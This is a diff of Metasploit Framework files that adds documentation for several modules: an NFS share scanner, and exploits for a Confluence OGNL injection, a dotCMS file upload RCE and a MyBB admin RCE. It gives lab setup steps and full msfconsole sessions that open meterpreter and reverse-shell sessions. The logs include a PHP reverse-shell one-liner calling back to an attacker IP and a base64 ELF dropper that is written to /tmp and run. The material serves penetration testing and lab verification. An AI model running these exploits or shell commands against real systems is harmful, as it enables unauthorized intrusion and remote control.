"ref_name": "python/meterpreter_reverse_tcp",
@@ -190003,7 +190261,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-04-29 15:18:51 +0000",
"mod_time": "2022-05-23 11:55:38 +0000",
"path": "/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter_bind_named_pipe",
@@ -190039,7 +190297,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-04-29 15:18:51 +0000",
"mod_time": "2022-05-23 11:55:38 +0000",
"path": "/modules/payloads/singles/windows/meterpreter_bind_tcp.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter_bind_tcp",
@@ -190075,7 +190333,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-04-29 15:18:51 +0000",
"mod_time": "2022-05-23 11:55:38 +0000",
"path": "/modules/payloads/singles/windows/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter_reverse_http",
@@ -190111,7 +190369,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-04-29 15:18:51 +0000",
"mod_time": "2022-05-23 11:55:38 +0000",
"path": "/modules/payloads/singles/windows/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter_reverse_https",
@@ -190147,7 +190405,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-04-29 15:18:51 +0000",
"mod_time": "2022-05-23 11:55:38 +0000",
"path": "/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter_reverse_ipv6_tcp",
@@ -190183,7 +190441,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-04-29 15:18:51 +0000",
"mod_time": "2022-05-23 11:55:38 +0000",
"path": "/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter_reverse_tcp",
@@ -202118,7 +202376,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-03-22 10:24:25 +0000",
"mod_time": "2022-05-27 10:21:59 +0000",
"path": "/modules/post/multi/manage/shell_to_meterpreter.rb",
"is_install_path": true,
"ref_name": "multi/manage/shell_to_meterpreter",
@@ -1,65 +1,102 @@
## Vulnerable Application
NFS is very common, and this scanner searches for a mis-configuration, not a vulnerable software version. Installation instructions for NFS can be found for every operating system.
The [Ubuntu 14.04](https://help.ubuntu.com/14.04/serverguide/network-file-system.html) instructions can be used as an example for installing and configuring NFS. The
NFS is very common, and this scanner searches for a mis-configuration, not a vulnerable software version.
Installation instructions for NFS can be found for every operating system.
The [Ubuntu](https://ubuntu.com/server/docs/service-nfs)
instructions can be used as an example for installing and configuring NFS. The
following was done on Kali linux:
1. `apt-get install nfs-kernel-server`
2. Create 2 folders to share:
```
mkdir /tmp/open_share
mkdir /tmp/closed_share
```
3. Add them to the list of shares:
```
echo "/tmp/closed_share 10.1.2.3(ro,sync,no_root_squash)" >> /etc/exports
echo "/tmp/open_share *(rw,sync,no_root_squash)" >> /etc/exports
```
4. Restart the service: `service nfs-kernel-server restart`
In this scenario, `closed_share` is set to read only, and only mountable by the IP 10.1.2.3. `open_share` is mountable by anyone (`*`) in read/write mode.
1. `apt-get install nfs-kernel-server`
2. Create folders to share and add them to exports (adjust 192.168.1.x as needed):
```
mkdir /tmp/star
echo "/tmp/star *(rw,no_subtree_check)" >> /etc/exports
mkdir /tmp/not_us_hostname
echo "/tmp/not_us_hostname foo(rw,no_subtree_check)" >> /etc/exports
mkdir /tmp/us_hostname
echo "/tmp/us_hostname bar(rw,no_subtree_check)" >> /etc/exports
mkdir /tmp/not_us_ip
echo "/tmp/not_us_ip 1.1.1.1(rw,no_subtree_check)" >> /etc/exports
mkdir /tmp/us_ip
echo "/tmp/us_ip 192.168.1.111(rw,no_subtree_check)" >> /etc/exports
mkdir /tmp/not_us_subnet
echo "/tmp/not_us_subnet 1.1.1.1/24(rw,no_subtree_check)" >> /etc/exports
mkdir /tmp/us_subnet
echo "/tmp/us_subnet 192.168.1.1/24(rw,no_subtree_check)" >> /etc/exports
mkdir /tmp/not_us_netmask
echo "/tmp/not_us_netmask 1.1.1.1/255.255.255.0(rw,no_subtree_check)" >> /etc/exports
mkdir /tmp/us_netmask
echo "/tmp/us_netmask 192.168.1.1/255.255.255.0(rw,no_subtree_check)" >> /etc/exports
mkdir /tmp/empty
echo "/tmp/empty (rw,no_subtree_check)" >> /etc/exports
```
3. Restart the service: `service nfs-kernel-server restart`
## Options
### PROTOCOL
Which networking protocol to use. Options are `udp` and `tcp`. Defaults to `udp`.
### LHOST
IP to match shares against if `Mountable` is true. Defaults to the detected local IP address.
### HOSTNAME
Hostname to match shares against if `Mountable` is true. Defaults to `` (empty string)
## Advanced Options
### Mountable
Determine if an export is mountable based on `LHOST` and `HOSTNAME`. Defaults to `true`. Pre 2022 behavior was `false`
## Verification Steps
1. Install and configure NFS
2. Start msfconsole
3. Do: `use auxiliary/scanner/nfs/nfsmount`
4. Do: `run`
1. Install and configure NFS
2. Start msfconsole
3. Do: `use auxiliary/scanner/nfs/nfsmount`
4. Do: `run`
## Scenarios
A run against the configuration from these docs
A run against the configuration from these docs
```
msf > use auxiliary/scanner/nfs/nfsmount
msf auxiliary(nfsmount) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf auxiliary(nfsmount) > run
[+] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/open_share [*]
[+] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/closed_share [10.1.2.3]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
Another example can be found at this [source](http://bitvijays.github.io/blog/2016/03/03/learning-from-the-field-basic-network-hygiene/):
```
[*] Scanned 24 of 240 hosts (10% complete)
[+] 10.10.xx.xx NFS Export: /data/iso [0.0.0.0/0.0.0.0]
[*] Scanned 48 of 240 hosts (20% complete)
[+] 10.10.xx.xx NFS Export: /DataVolume/Public [*]
[+] 10.10.xx.xx NFS Export: /DataVolume/Download [*]
[+] 10.10.xx.xx NFS Export: /DataVolume/Softshare [*]
[*] Scanned 72 of 240 hosts (30% complete)
[+] 10.10.xx.xx NFS Export: /var/ftp/pub [10.0.0.0/255.255.255.0]
[*] Scanned 96 of 240 hosts (40% complete)
[+] 10.10.xx.xx NFS Export: /common []
```
```
msf > use auxiliary/scanner/nfs/nfsmount
msf auxiliary(nfsmount) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf auxiliary(nfsmount) > run
[+] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/empty [*]
[+] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/star [*]
[+] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/us_netmask [10.1.1.1/255.255.255.0]
[*] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/not_us_netmask [1.1.1.1/255.255.255.0]
[+] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/us_subnet [10.1.1.1/24]
[*] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/not_us_subnet [1.1.1.1/24]
[+] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/us_ip [192.168.1.111]
[*] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/not_us_ip [1.1.1.1]
[*] 127.0.0.1:111 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
Another example can be found at this [source](http://bitvijays.github.io/blog/2016/03/03/learning-from-the-field-basic-network-hygiene/):
```
[*] Scanned 24 of 240 hosts (10% complete)
[+] 10.10.xx.xx NFS Export: /data/iso [0.0.0.0/0.0.0.0]
[*] Scanned 48 of 240 hosts (20% complete)
[+] 10.10.xx.xx NFS Export: /DataVolume/Public [*]
[+] 10.10.xx.xx NFS Export: /DataVolume/Download [*]
[+] 10.10.xx.xx NFS Export: /DataVolume/Softshare [*]
[*] Scanned 72 of 240 hosts (30% complete)
[+] 10.10.xx.xx NFS Export: /var/ftp/pub [10.0.0.0/255.255.255.0]
[*] Scanned 96 of 240 hosts (40% complete)
[+] 10.10.xx.xx NFS Export: /common []
```
## Confirming
Since NFS has been around since 1989, with modern NFS(v4) being released in 2000, there are many tools which can also be used to verify this configuration issue.
Since NFS has been around since 1989, with modern NFS(v4) being released in 2000, there are many tools which can also be used to
verify this configuration issue.
The following are other industry tools which can also be used.
### [nmap](https://nmap.org/nsedoc/scripts/nfs-showmount.html)
@@ -73,8 +110,14 @@ Host is up (0.000037s latency).
PORT STATE SERVICE
111/tcp open rpcbind
| nfs-showmount:
| /tmp/open_share *
|_ /tmp/closed_share 10.1.2.3
| /tmp/empty *
| /tmp/star *
| /tmp/us_netmask 10.1.1.1/255.255.255.0
| /tmp/not_us_netmask 1.1.1.1/255.255.255.0
| /tmp/us_subnet 10.1.1.1/24
| /tmp/not_us_subnet 1.1.1.1/24
| /tmp/us_ip 192.168.1.111
|_ /tmp/not_us_ip 1.1.1.1
Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds
```
@@ -86,14 +129,21 @@ showmount is a part of the `nfs-common` package for debian.
```
showmount -e 127.0.0.1
Export list for 127.0.0.1:
/tmp/open_share *
/tmp/closed_share 10.1.2.3
/tmp/empty *
/tmp/star *
/tmp/us_netmask 10.1.1.1/255.255.255.0
/tmp/not_us_netmask 1.1.1.1/255.255.255.0
/tmp/us_subnet 10.1.1.1/24
/tmp/not_us_subnet 1.1.1.1/24
/tmp/us_ip 192.168.1.111
/tmp/not_us_ip 1.1.1.1
```
## Exploitation
Exploiting this mis-configuration is trivial, however exploitation doesn't necessarily give access (command execution) to the system.
If a share is mountable, ie you either are the IP listed in the filter (or could assume it through a DoS), or it is open (*), mounting is trivial.
If a share is mountable, ie you either are the IP listed in the filter (or could assume it through a DoS),
or it is open (*), mounting is trivial.
The following instructions were written for Kali linux.
1. Create a new directory to mount the remote volume to: `mkdir /mnt/remote`
@@ -26,6 +26,8 @@ A file to store Cain & Abel formatted captured hashes in. Only supports NTLMv1 H
The 8 byte server challenge. If unset or not a valid 16 character hexadecimal pattern, a random challenge is used instead.
The format is `1122334455667788`.
**JOHNPWFILE**
A file to store John the Ripper formatted hashes in. NTLMv1 and NTLMv2 hashes will be stored in separate files.
@@ -0,0 +1,90 @@
## Vulnerable Application
This module exploits an OGNL injection in Atlassian Confluence servers. A specially crafted URI can be used to evaluate
an OGNL expression resulting in OS command execution.
Confluence versions up to and including 7.18 are vulnerable to this OGNL injection flaw. For more complete information
on affected and fixed versions, see [CONFSERVER-79000][1].
### Setup
1. Create a new `docker-compose.yml` file with the contents below.
2. Startup the container using `docker-compose up`
3. Navigate to the HTTP service running on port 8090
4. Acquire and provide an evaluation license
5. When prompted, setup a standalone / non-clustered system
6. Configure the database settings
1. Select "By connection string", then Database URL: `jdbc:postgresql://postgresql:5432/confdb`
2. Username and password are both `confdb`
7. Setup takes a few minutes
8. When prompted, select "Empty Site"
9. Select "Manage users and groups within Confluence"
10. Create an account, it **will not** be needed for exploitation
11. Once setup has completed select "Start" and set a space name to something
#### Docker Compose File
```
version: '3'
services:
postgresql:
image: postgres:11
environment:
POSTGRES_DB: confdb
POSTGRES_USER: confdb
POSTGRES_PASSWORD: confdb
ports:
- '5432:5432'
confluence-server:
depends_on:
- postgresql
image: atlassian/confluence:7.13.0
ports:
- '8090:8090'
- '8091:8091'
```
## Verification Steps
1. Follow the steps from the Setup section to create a test instance
2. Start msfconsole
3. Run: `use exploit/multi/http/atlassian_confluence_namespace_ognl_injection`
4. Set the `RHOSTS`, `PAYLOAD` and payload-related options
5. Run the module
## Options
## Scenarios
### Confluence 7.13.0 in [Docker]
```
msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > set RHOSTS 192.168.159.100
RHOSTS => 192.168.159.100
msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp
PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > check
[+] 192.168.159.100:8090 - The target is vulnerable. Successfully tested OGNL injection.
msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[!] AutoCheck is disabled, proceeding with exploitation
[*] Executing cmd/unix/python/meterpreter/reverse_tcp (Unix Command)
[*] Sending stage (40132 bytes) to 192.168.159.100
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.100:42050) at 2022-06-03 17:14:41 -0400
meterpreter > getuid
Server username: confluence
meterpreter > sysinfo
Computer : 5052c5eebf8a
OS : Linux 5.15.0-35-generic #36-Ubuntu SMP Sat May 21 02:24:07 UTC 2022
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter >
```
[1]: https://jira.atlassian.com/browse/CONFSERVER-79000?src=confmacro
@@ -0,0 +1,186 @@
## Vulnerable Application
### Description
This module exploits an arbitrary file upload vulnerability in dotCMS versions before 22.03, 5.3.8.10, 21.06.7 in each
respective stream. The module uploads a jsp payload to the tomcat ROOT directory and accesses it to trigger its execution.
### Clone and build a vulnerable version of dotCMS:
This requires Java 1.8 to be installed and JAVA_HOME to be set (see below for per OS instructions).
1. `git clone https://github.com/dotCMS/core.git`
1. `cd core`
1. `git checkout 7d604e5 (this is vulnerable version 21.06)`
1. `cd dotCMS/`
1. `./gradlew createDist`
```
Starting a Gradle Daemon (subsequent builds will be faster)
<output truncated>
BUILD SUCCESSFUL in 12m 53s
21 actionable tasks: 19 executed, 2 up-to-date
```
If the build was successful you should now have a vulnerable 21.06 linux and windows instance:
```
msfuser@ubuntu:~/core/dotCMS$ ls -l ../dist-output/
total 811132
-rw-rw-r-- 1 msfuser msfuser 413134562 May 20 10:22 dotcms_21.06.tar.gz
-rw-rw-r-- 1 msfuser msfuser 417462181 May 20 10:24 dotcms_21.06.zip
```
Inside each of the above compressed directories exists a directory `dotserver` which contains the vulnerable app.
### Ubuntu 20.04 install
#### Install JAVA 1.8
1. `export JAVA_HOME="/usr/lib/jvm/java-8-openjdk-amd64"`
1. `export PATH=$JAVA_HOME/bin:$PATH`
1. `sudo apt-get install openjdk-8-jdk`
#### Install Postgres
1. `sudo apt install postgresql -y`
1. `sudo -u postgres psql`
1. Change the default database, username and password from `dotcms` to `postgres` (or create the db and user `dotcms`).
1. `vim $DOTCMS_HOME/dotserver/tomcat-9.0.41/webapps/ROOT/WEB-INF/classes/db.properties`
```
##Postgres default configuration
driverClassName=org.postgresql.Driver
jdbcUrl=jdbc:postgresql://localhost/postgres
username=postgres
password=postgres
```
#### Install Elastic Search
1. `sudo apt install apt-transport-https ca-certificates wget`
1. `wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -`
1. `sudo sh -c 'echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main" > /etc/apt/sources.list.d/elastic-7.x.list'`
1. `sudo apt update`
1. `sudo apt install elasticsearch`
1. `sudo systemctl daemon-reload `
1. `sudo systemctl enable elasticsearch.service`
1. `sudo systemctl start elasticsearch.service`
1. `sudo systemctl status elasticsearch.service`
1. Edit `dotcms-config-cluster.properties` to ensure the following properties are set:
1. `vim $DOTCMS_HOME/dotserver/tomcat-9.0.41/webapps/ROOT/WEB-INF/classes/dotcms-config-cluster.properties`
```
ES_ENDPOINTS=http://localhost:9200
ES_PROTOCOL=http
ES_HOSTNAME=localhost
ES_PORT=9200
ES_TLS_ENABLED=false
```
#### Run dotCMS
1. `cd dotserver/tomcat-9.0.41/bin/`
1. `chmod 755 *.sh`
1. `catalina.sh run`
1. Test the server is up with: `curl -vk localhost:8080/dotAdmin/`
### Windows 10 install
#### Install Java 1.8
1. Download and follow wizard to install:
https://www.oracle.com/java/technologies/downloads/#license-lightbox
#### Install Elasticsearch 8.2.0
Download and follow wizard to install:
https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-8.2.0-windows-x86_64.zip dotcms-config-cluster.properties
1. Ensure dotcms-config-cluster.properties contains the same properties as specified above
#### Install Postgres 10.21
1. Download and follow wizard to install:
https://www.enterprisedb.com/postgresql-tutorial-resources-training?uuid=ea5c8104-3940-4ed1-b427-81cf19781581&campaignId=70138000000rYFmAAM
1. Ensure db.properties contains the same properties as specified above
#### Run dotCMS
1. `cd dotserver\tomcat-9.0.41\bin\`
1. `catalina.bat run`
1. Test the server is up with: `curl -vk localhost:8080/dotAdmin/`
## Verification Steps
1. `use multi/http/dotcms_file_upload_rce`
2. `set RHOSTS [ips]`
3. `set LHOST [ips]`
4. `run`
## Scenarios
### Ubuntu 20.04 dotCMS 21.06:
```
msf6 > use exploit/multi/http/dotcms_file_upload_rce
[*] Using configured payload java/jsp_shell_reverse_tcp
msf6 exploit(multi/http/dotcms_file_upload_rce) > set rhosts 172.16.199.227
rhosts => 172.16.199.227
msf6 exploit(multi/http/dotcms_file_upload_rce) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(multi/http/dotcms_file_upload_rce) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Writing JSP payload
[+] Successfully wrote JSP payload
[*] Executing JSP payload
[+] Successfully executed JSP payload
[+] Deleted ../webapps/ROOT/XZhKXIssjD.jsp
[+] Deleted ../webapps/ROOT/M4NYE9Kb.jsp
[*] Command shell session 1 opened (172.16.199.1:4444 -> 172.16.199.227:39610) at 2022-05-20 15:01:25 -0400
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux ubuntu 5.13.0-41-generic #46~20.04.1-Ubuntu SMP Wed Apr 20 13:16:21 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
```
### Windows 10 dotCMS 21.06:
```
msf6 > use dotcms_file_upload_rce
[*] Using exploit/multi/http/dotcms_file_upload_rce
msf6 exploit(multi/http/dotcms_file_upload_rce) > set rhosts 172.16.199.231
rhosts => 172.16.199.231
msf6 exploit(multi/http/dotcms_file_upload_rce) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(multi/http/dotcms_file_upload_rce) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Writing JSP payload
[+] Successfully wrote JSP payload
[*] Executing JSP payload
[+] Successfully executed JSP payload
[!] Tried to delete ../webapps/ROOT/AkqMhxCZWr.jsp, unknown result
[!] Tried to delete ../webapps/ROOT/xdPfn9JTdu33X.jsp, unknown result
[*] Command shell session 1 opened (172.16.199.1:4444 -> 172.16.199.231:50016) at 2022-05-20 12:41:36 -0400
Shell Banner:
Microsoft Windows [Version 10.0.19042.1706]
(c) Microsoft Corporation. All rights reserved.
-----
C:\Users\Administrator\Downloads\dotcms_21.06\dotserver\tomcat-9.0.41\bin>whoami
whoami
desktop-h1lncdm\administrator
C:\Users\Administrator\Downloads\dotcms_21.06\dotserver\tomcat-9.0.41\bin>systeminfo
systeminfo
Host Name: DESKTOP-H1LNCDM
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.19042 N/A Build 19042
<output truncated>
```
Note on windows the module reports an unknown result when trying to delete the files though it does successfully
@@ -0,0 +1,356 @@
## Vulnerable Application
This exploit module leverages an improper input validation vulnerability in
MyBB prior to `1.8.30` to execute arbitrary code in the context of the user
running the application.
MyBB Admin Control setting page calls PHP `eval` function with an unsanitized
user input. The exploit adds a new setting, injecting the payload in the
vulnerable field, and triggers its execution with a second request. Finally, it
takes care of cleaning up and removes the setting.
Note that authentication is required for this exploit to work and the account
must have rights to add or update settings (typically, myBB administrator
role).
## Installation Steps
### Linux with Docker
- Use this `docket-compose.yml` file (see [this](https://github.com/mybb/docker#-via-docker-stack-deploy-or-docker-compose)):
```
services:
mybb:
image: mybb/mybb:1.8.29
volumes:
- ${PWD}/mybb:/var/www/html:rw
nginx:
image: nginx:mainline-alpine
ports:
- published: 8080
target: 80
volumes:
- ${PWD}/nginx:/etc/nginx/conf.d:ro
- ${PWD}/mybb:/var/www/html:ro
postgresql:
environment:
POSTGRES_DB: mybb
POSTGRES_PASSWORD: changeme
POSTGRES_USER: mybb
image: postgres:14-alpine
volumes:
- ${PWD}/postgres/data:/var/lib/postgresql/data:rw
version: '3.8'
```
- Create `nginx/default.conf`
```
upstream mybb {
server mybb:9000 weight=5;
}
server {
listen 80;
root /var/www/html;
index index.html index.php;
location / {
try_files $uri $uri/ /index.php?$args;
}
location ~ inc/ {
internal;
}
location ~ ^/(images|cache|jscripts|uploads)/ {
access_log off;
}
location ~ \.php$ {
try_files $uri =404;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass mybb;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
}
}
```
- Run `docker-compose up`.
- Access the application at `http://127.0.0.1:8080/install` and finish the installation process.
### Windows with Nginx, PHP and MySQL
- Install MySQL:
- Follow the installation process [here](https://dev.mysql.com/doc/refman/8.0/en/windows-installation.html)
- Install PHP:
- Download PHP (Non Thread Safe) [here](http://windows.php.net/download/)
- Extract everything to `C:\php`
- run:
```
cd C:\php
set PHP_FCGI_CHILDREN=5
set PHP_FCGI_MAX_REQUESTS=500
php-cgi.exe -b 127.0.0.1:9999
```
- Install Nginx:
- Download Nginx [here](http://nginx.org/en/download.html)
- Extract everything to `C:\nginx`
- Set the following options to `C:\nginx\nginx.conf`
```
worker_processes auto;
...
server {
listen 80;
root www;
index index.html index.php;
location / {
try_files $uri $uri/ /index.php?$args;
}
location ~ inc/ {
internal;
}
location ~ ^/(images|cache|jscripts|uploads)/ {
access_log off;
}
location ~ \.php$ {
try_files $uri =404;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass 127.0.0.1:9999;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
}
}
```
- Run:
```
cd C:\nginx
start nginx.exe
```
- Install MyBB
- Follow the installation process [here](https://docs.mybb.com/1.8/install/).
## Verification Steps
1. Install the application (see [Installation Steps](#installation-steps))
1. Start msfconsole
1. Do: `use exploit/multi/http/mybb_rce_cve_2022_24734`
1. Do: `run LHOST=<local host IP> RHOSTS=<remote host IP> USERNAME=<MyBB user> PASSWORD=<MyBB password>`
1. You should get a shell.
1. Try again with a different targets
## Options
### USERNAME
The username of a privileged MyBB account. It must have rights to add or update setting (usually with the administrator role)
### PASSWORD
The password of the MyBB account.
## Scenarios
### Windows (target 0 - PHP)
```
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.1.44 RHOSTS=192.168.1.215 USERNAME=msfuser PASSWORD=123456
[*] Started reverse TCP handler on 192.168.1.44:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] MyBB forum found running at /
[!] The service is running, but could not be validated.
[*] Attempting login
[+] Login successful!
[*] Adding a malicious settings
[*] Adding a crafted configuration setting entry with the payload
[+] Payload successfully sent
[*] Triggering the payload execution
[*] Sending stage (39860 bytes) to 192.168.1.215
[*] Meterpreter session 1 opened (192.168.1.44:4444 -> 192.168.1.215:63777) at 2022-05-23 15:41:40 +0200
[*] Removing the configuration setting
[*] Grab the delete parameters
[*] Send the delete request
[*] Shell incoming...
meterpreter > sysinfo
Computer : DC02
OS : Windows NT DC02 10.0 build 17763 (Windows Server 2019) AMD64
Meterpreter : php/windows
```
### Linux (target 0 - PHP)
```
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.0.48 RHOSTS=127.0.0.1 RPORT=8080 USERNAME=msfuser PASSWORD=123456
[*] Started reverse TCP handler on 192.168.0.48:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] MyBB forum found running at /
[!] The service is running, but could not be validated.
[*] Attempting login
[+] Login successful!
[*] Adding a malicious settings
[*] Adding a crafted configuration setting entry with the payload
[+] Payload successfully sent
[*] Triggering the payload execution
[*] Sending stage (39860 bytes) to 192.168.0.48
[*] Meterpreter session 2 opened (192.168.0.48:4444 -> 192.168.0.48:50029) at 2022-05-23 15:41:58 +0200
[*] Removing the configuration setting
[*] Grab the delete parameters
[*] Send the delete request
[*] Shell incoming...
meterpreter > sysinfo
Computer : e087259940a8
OS : Linux e087259940a8 5.10.76-linuxkit #1 SMP Mon Nov 8 10:21:19 UTC 2021 x86_64
Meterpreter : php/linux
```
### Linux (target 1 - Unix (In-Memory))
```
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > set target 1
target => 1
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.0.48 RHOSTS=127.0.0.1 RPORT=8080 USERNAME=msfuser PASSWORD=123456
[+] php -r '$ctxt=stream_context_create(["ssl"=>["verify_peer"=>false,"verify_peer_name"=>false]]);while($s=@stream_socket_client("ssl://192.168.0.48:4444",$erno,$erstr,30,STREAM_CLIENT_CONNECT,$ctxt)){while($l=fgets($s)){exec($l,$o);$o=implode("\n",$o);$o.="\n";fputs($s,$o);}}'&
[*] Started reverse SSL handler on 192.168.0.48:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] MyBB forum found running at /
[!] The service is running, but could not be validated.
[*] Attempting login
[+] Login successful!
[*] Adding a malicious settings
[*] Adding a crafted configuration setting entry with the payload
[+] Payload successfully sent
[*] Triggering the payload execution
[*] Removing the configuration setting
[*] Grab the delete parameters
[*] Send the delete request
[*] Shell incoming...
[*] Command shell session 3 opened (192.168.0.48:4444 -> 192.168.0.48:50151) at 2022-05-23 15:42:58 +0200
ls
backups
inc
index.php
jscripts
modules
styles
^C
Abort session 3? [y/N] y
```
### Linux (target 2 - linux (Dropper))
```
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.0.48 RHOSTS=127.0.0.1 RPORT=8080 USERNAME=msfuser PASSWORD=123456
[*] Started reverse TCP handler on 192.168.0.48:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] MyBB forum found running at /
[!] The service is running, but could not be validated.
[*] Attempting login
[+] Login successful!
[*] Adding a malicious settings
[*] Generated command stager: ["echo -n f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAjPAAAASgEAAAcAAAAAEAAAagpeMdv341NDU2oCsGaJ4c2Al1towKgBE2gCABFcieFqZlhQUVeJ4UPNgIXAeRlOdD1oogAAAFhqAGoFieMxyc2AhcB5vesnsge5ABAAAInjwesMweMMsH3NgIXAeBBbieGZsmqwA82AhcB4Av/huAEAAAC7AQAAAM2A>>'/tmp/UAznK.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/jHFeb' < '/tmp/UAznK.b64' ; chmod +x '/tmp/jHFeb' ; '/tmp/jHFeb' ; rm -f '/tmp/jHFeb' ; rm -f '/tmp/UAznK.b64'"]
[*] Adding a crafted configuration setting entry with the payload
[+] Payload successfully sent
[*] Triggering the payload execution
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (989032 bytes) to 192.168.0.48
[*] Meterpreter session 4 opened (192.168.0.48:4444 -> 192.168.0.48:50213) at 2022-05-23 15:43:26 +0200
[*] Removing the configuration setting
[*] Grab the delete parameters
[*] Send the delete request
[*] Shell incoming...
[*] Command Stager progress - 100.00% done (763/763 bytes)
meterpreter > sysinfo
Computer : 172.18.0.4
OS : (Linux 5.10.76-linuxkit)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
```
### Windows (target 3 - Windows (In-Memory))
```
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > set target 4
target => 4
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.1.44 RHOSTS=192.168.1.215 USERNAME=msfuser PASSWORD=123456
[*] Powershell command length: 4160
[*] Started reverse TCP handler on 192.168.1.44:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] MyBB forum found running at /
[!] The service is running, but could not be validated.
[*] Attempting login
[+] Login successful!
[*] Adding a malicious settings
[*] Adding a crafted configuration setting entry with the payload
[+] Payload successfully sent
[*] Triggering the payload execution
[*] Removing the configuration setting
[*] Grab the delete parameters
[*] Send the delete request
[*] Shell incoming...
[*] Sending stage (175174 bytes) to 192.168.1.215
[*] Meterpreter session 6 opened (192.168.1.44:4444 -> 192.168.1.215:59025) at 2022-05-30 15:58:01 +0200
meterpreter > sysinfo
Computer : DC02
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : MYLAB
Logged On Users : 8
Meterpreter : x86/windows
```
### Windows (target 4 - Windows (Dropper))
```
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > set target 5
target => 5
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.1.44 RHOSTS=192.168.1.215 USERNAME=msfuser PASSWORD=123456
[*] Started reverse TCP handler on 192.168.1.44:4444
[*] Running automatic check ("set AutoCheck false" to disable)
